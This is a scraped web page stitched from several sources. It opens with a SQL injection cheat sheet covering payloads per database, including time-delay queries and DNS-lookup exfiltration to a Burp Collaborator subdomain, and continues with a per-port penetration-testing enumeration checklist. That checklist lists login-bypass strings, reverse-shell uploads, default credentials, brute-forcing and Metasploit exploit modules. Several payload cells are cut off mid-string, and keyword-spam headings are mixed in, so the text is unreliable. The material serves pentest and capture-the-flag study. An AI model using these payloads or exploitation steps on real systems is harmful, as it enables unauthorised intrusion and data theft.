This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.
- Sql Injection Cheat Sheet Github
- Union Sql Injection Cheat Sheet Github
- Oracle Sql Injection Cheat Sheet
You can concatenate together multiple strings to make a single string.
GitHub Gist: instantly share code, notes, and snippets. GitHub Gist: instantly share code, notes, and snippets. 0x01 basic sqlinjection cheat sheet 0x01 basic: Check the current database version: VERSION @@ VERSION. Use sql injection can import export. February 28th, 2021 sql injection cheat sheet github.
| database | example |
|---|---|
| Oracle | `’foo’ |
| Microsoft | 'foo'+'bar' |
| PostgreSQL | `’foo’ |
| MySQL | 'foo' 'bar' [Note the space between the two strings]CONCAT('foo','bar') |
Sql Injection Cheat Sheet Github
You can use comments to truncate a query and remove the portion of the original query that follows your input.
| database | example |
|---|---|
| Oracle | --comment |
| Microsoft | --comment/*comment*/ |
| PostgreSQL | --comment/*comment*/ |
| MySQL | #comment-- comment [Note the space after the double dash]/*comment*/ |
You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.
| database | example |
|---|---|
| Oracle | SELECT banner FROM v$versionSELECT version FROM v$instance |
| Microsoft | SELECT @@version |
| PostgreSQL | SELECT version() |
| MySQL | SELECT @@version |
You can list the tables that exist in the database, and the columns that those tables contain.
| database | example |
|---|---|
| Oracle | SELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' |
| Microsoft | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
| PostgreSQL | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
| MySQL | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
You can test a single boolean condition and trigger a database error if the condition is true.
| database | example |
|---|---|
| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual |
| Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
| database | example |
|---|---|
| Oracle | Does not support batched queries. |
| Microsoft | QUERY-1-HERE; QUERY-2-HERE |
| PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
| MySQL | Does not support batched queries. |
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.
| database | example |
|---|---|
| Oracle | dbms_pipe.receive_message(('a'),10) |
| Microsoft | WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT pg_sleep(10) |
| MySQL | SELECT sleep(10) |
You can test a single boolean condition and trigger a time delay if the condition is true.
| database | example |
|---|---|
| Oracle | `SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’ |
| Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') |

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.
| database | example |
|---|---|
| Oracle | The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:SELECT extractvalue(xmltype('<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [ <!ENTITY % remote SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/'> %remote;]>'),'/l') FROM dualThe following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net') |
| Microsoft | exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a' |
| PostgreSQL | copy (SELECT ') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net' |
| MySQL | The following techniques work on Windows only:LOAD_FILE('YOUR-SUBDOMAIN-HERE.burpcollaborator.neta')SELECT ... INTO OUTFILE 'YOUR-SUBDOMAIN-HERE.burpcollaborator.neta' |
You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.
| database | example |
|---|---|
| Oracle | `SELECT extractvalue(xmltype(‘<!DOCTYPE root [ <!ENTITY % remote SYSTEM “http://‘ |
| Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree '//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a') |
| PostgreSQL | create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := ‘copy (SELECT ‘’’’) to program ‘’nslookup ‘ |
| MySQL | The following technique works on Windows only:SELECT YOUR-QUERY-HERE INTO OUTFILE 'YOUR-SUBDOMAIN-HERE.burpcollaborator.neta' |
SQL注入在不同数据库的表现,可表现在这些方面:
- String concatenation 字符串连接
- Comments 注释
- Database version 数据库版本的查询
- Database contents 数据库内容的查询
- Conditional errors 条件错误
- Batched (or stacked) queries 批量查询
- Time delays 时间延迟
- Conditional time delays 有条件的时间延迟
- DNS lookup DNS查询
DNS lookup with data exfiltration 使用数据泄露进行DNS查找
I create my own checklist for the first but very important step: Enumeration.
Resources
- Useful exploits: https://github.com/jivoi/pentest
Port 80/443/8000/8080 - HTTP
Web page
Open the web page, check http/https, check certificates to get users/emails
Click the plugin Wappalyzer to check web service & programming languages
Check
robots.txtto get hidden folders:curl -i $IP/robots.txtRun
nikto -h $IP -p $PORTClick all the links on the web page & always view page sources (
Ctrl + u), focusing onhref, comments or keywords likepassword,login,upload…If directory
Allow: PUT, try to upload text file then reverse shell through itGet folders/files
Download suspicious images & check:
exiftool $IMG,strings $IMG,xxd $IMG,steghide,binwalk $IMGFor open-source services, could download the codes and browse files to have better understanding on their functionalities, parameters, …
Searchsploitfor every service, software versionCheck path traversal on Linux and on Windows
Login forms
Check common creds:
admin/admin,admin/password,root/root,administrator/?,guest/guest…Search default creds of the web service on Google, documentations or usages (default users:
admin,root,root@localhost…)Capture
http-post-formusing BurpSuiteBrute-force with wfuzz using SecLists’s passwords (tut)
SQL injection
- First try
',1' or '1'='1-- -,' or '1'='1-- -,' or 1=1-- -
Tutorials
Cheat sheet: http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
http://www.thegreycorner.com/2017/01/exploiting-difficult-sql-injection.html
Blind SQL injection
- HTB-Falafel: write Python script to brute force admin’s password
HTB-Charon: change
UNIONtoUNIoNto bypass the filter, bash script to enumerate a large number of rows in a table to get interesting credsMariaDB
- HHC2016 - Analytics: play with Burp Sequencer to capture the Cookies
- Oracle SQL
- Tutorial: http://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.html
- https://www.doyler.net/security-not-included/oracle-command-execution-sys-shell
- Cheat sheet: http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
- MSSQL (Stacked Query)
https://www.exploit-db.com/papers/12975
https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/?_ga=2.122859595.1915973150.1589228589-1090418158.1589228589
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
https://webcache.googleusercontent.com/search?q=cache:KtfxjonYw58J:https://perspectiverisk.com/mssql-practical-injection-cheat-sheet/+&cd=1&hl=en&ct=clnk&gl=frhttp://www.securityidiots.com/Web-Pentest/SQL-Injection/MSSQL/MSSQL-Error-Based-Injection.html
https://gracefulsecurity.com/sql-injection-cheat-sheet-mssql/
Using
xp_cmdshell:- https://github.com/xMilkPowderx/OSCP/blob/master/SQLi.md, https://github.com/garyhooks/oscp/blob/master/REFERENCE/mssql.md
- HTB-Fighter
Bypass filters: https://portswigger.net/support/sql-injection-bypassing-common-filters
sqhs
- MySQL
- Cheat sheet, https://gracefulsecurity.com/sql-injection-cheat-sheet-mysql/
- VH-DC 9: tut
SQL Out-of-band exploitation
- (https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)
- HTB-Giddy
NoSQL
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- HTB-Mango
LFI/RFI
Use Nikto, which will sometimes return LFI/RFI
Use Nmap’s HTTP NSE scripts
Check version names of the known CMS with know vulnerabilities, then simply Googling the version or whatever identifiable information
Bruteforce for directories and files, if PHPINFO() is present, check for allow_url and other indicators
If all else fails, fuzz parameter passings. Try to understand what the application is doing, many times it’s obvious that the parameter is looking for another file, like to a webpage; I.e: whatever.php?=home // this is looking to grab “home” which is likely a file stored locally. Try removing the value home, see how the server reacts. Try to read local files you know should exist on the file, depending on the OS maybe /etc/passwd for Linux and boot.ini for Windows. Use PHP wrappers such as php://filter/convert.base64-encode/resource=index to try to read the actual file whatever.php’s source code. This will convert it to base64 to prevent execution via the webserver. Decode it and you get the source code. Watch verbose error messages
Tutorials
- https://0ff5ec.com/lfi-rfi/
- https://highon.coffee/blog/lfi-cheat-sheet/#how-to-get-a-shell-from-lfi
- https://www.hackingarticles.in/5-ways-exploit-lfi-vulnerability/
- https://medium.com/@Aptive/local-file-inclusion-lfi-web-application-penetration-testing-cc9dc8dd3601
PHP
- phpLiteAdmin: VH-Zico2
- Simple PHP Blog (sphpblog): VH-PwnOS
Wordpress
Brute-force
http://$IP/wp-admin,http://$IP/wp-login.phpMetasploit
- brute-force:
msf > use auxiliary/scanner/http/wordpress_login_enum
- brute-force:
Check
http://$IP/wp-content/themes,http://$IP/wp-content/uploads- Possible attack vectors:
- After login, upload php reverse shell in
404.phpof a theme (wp-content/themes/twentynineteen/404.php) msf > use exploit/unix/webapp/wp_admin_shell_upload- Upload malicious plugins in zip
- After login, upload php reverse shell in
Check interesting files:
/var/www/wp-config.phpCheck plugins’ vulnerability
- WordPress Plugin User Role Editor (https://www.exploit-db.com/exploits/44595): THM-Jack
Writeups
- Upload shell: VH-Stapler, VH-Mr. Robot
- ReFlex Gallery plugin: VH-Web Developer 1
- Activity Monitor plugin: VH-DC06
Joomla
Joomla 3.7.0 SQLi: https://github.com/XiphosResearch/exploits/tree/master/Joomblah
Drupal
Check
/CHANGELOG.txtfor Drupal versionFind
endpoint_pathand Services EndpointAttack vectors:
- Drupal 7.x Module Services - Remote Code Execution
- Drupalgeddon2 (March 2018): exploit
- Drupalgeddon3 (April 2018): exploit
Tutorials
Writeups
- Drupal v7.54: HTB-Bastard
- VH-DC1
Apache Tomcat
- Try default creds in
/manager: (tomcat/s3cret) - Deploy reverse shell in WAR format
Writeups
WebDAV
Port 21 - FTP
nmap scripts in
/usr/share/nmap/scripts/searchsploitFTP versionMetasploit
- Check version:
msf> use auxiliary/scanner/ftp/ftp_version - Anonymous login:
msf> use auxiliary/scanner/ftp/anonymous - Brute-force:
msf> use auxiliary/scanner/ftp/ftp_login
- Check version:
Brute-force with hydra
Check whether we can upload a shell, if so how to trigger the shell
Examine configuration files:
ftpusers, ftp.conf, proftpd.conf
Tutorials
- https://hackercool.com/2017/07/hacking-ftp-telnet-and-ssh-metasploitable-tutorials/
Very Secure FTP Daemon (vsftpd)
Writeups
v2.3.4 exploit
- HTB-Lame, HTB-LaCasaDePapel
ProFTPd
Tutorials
- https://hackercool.com/2020/03/hacking-proftpd-on-port-2121-and-hacking-the-services-on-port-1524/
Port 22 - SSH
Banner grab:
telnet $IP 22Try weak creds & Brute-force (exploitable in case of a very old version)
Crack passwords with john
Examine configuration files:
ssh_config, sshd_config, authorized_keys, ssh_known_hosts, .shostsProxychains
RSA tool for ctf: useful for decoding passwords
SSH with id_rsa of a user
Tutorials
- https://community.turgensec.com/ssh-hacking-guide/
Port 23 - Telnet

- Examine configuration files:
/etc/inetd.conf, /etc/xinetd.d/telnet, /etc/xinetd.d/stelnet
Writeups
Port 25 - SMTP
Connect
nmap scripts
Run smtp-user-enum
User enumeration (RCPT TO and VRFY) using iSMTP
Metasploit
- Search valid users:
use auxiliary/scanner/smtp/smtp_enum
- Search valid users:
Tutorials
- https://hackercool.com/2017/06/smtp-enumeration-with-kali-linux-nmap-and-smtp-user-enum/
Writeups
- JAMES smtpd 2.3.2: HTB-SolidState
- Enumeration: HTB-Reel
- Postfix Shellshock: exploit
Port 135, 136, 137, 138, 139 - Network Basic Input/Output System (NetBIOS)
Tutorials
- https://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/
Port 445 - SBM
nmap scripts
Find directories/files using wordpress’s wordlist
Enumerate with enum4linux
Enumerate samba share drives with smbmap
Get files recursively from the shared folder
smbclient (http://www.madirish.net/59)
rpcclient
Mount shared folders
Metasploit
msf> use auxiliary/scanner/smb/smb2msf> use auxiliary/scanner/smb/smb_versionmsf> use auxiliary/scanner/smb/smb_enumsharesmsf> use auxiliary/scanner/smb/smb_enumusersmsf> use auxiliary/scanner/smb/smb_loginmsf> use exploit/windows/smb/smb_delivery- EternalBlue (MS17-010):
msf> use exploit/windows/smb/ms17_010_eternalblue msf > use auxiliary/admin/smb/samba_symlink_traversal- SambaCry CVE-2017-7494:
msf> use exploit/linux/samba/is_known_pipename
Tutorials
- https://medium.com/@arnavtripathy98/smb-enumeration-for-penetration-testing-e782a328bf1b
- https://hackercool.com/2016/07/smb-enumeration-with-kali-linux-enum4linuxacccheck-smbmap/
- https://www.hackingarticles.in/penetration-testing-in-smb-protocol-using-metasploit/
- https://www.hackingarticles.in/multiple-ways-to-connect-remote-pc-using-smb-port/
- https://www.hackingarticles.in/a-little-guide-to-smb-enumeration/
Writeups

- MS-08-067, MS-17-010: HTB-Legacy
Union Sql Injection Cheat Sheet Github
Ports 512, 513, 514 - Rexec & Rlogin
Tutorials
- https://hackercool.com/2020/03/hacking-rexec-and-rlogin-services-on-ports-512-513-and-514/
Extra Resources
- https://resources.infosecinstitute.com/what-is-enumeration/
Port 3306 - MySQL
Oracle Sql Injection Cheat Sheet
Connect the database
Decode passwords
Running as root: raptor_udf2 exploit, Lord of the Root CTF
Port 3389 - Remote Desktop Protocol (RDP)
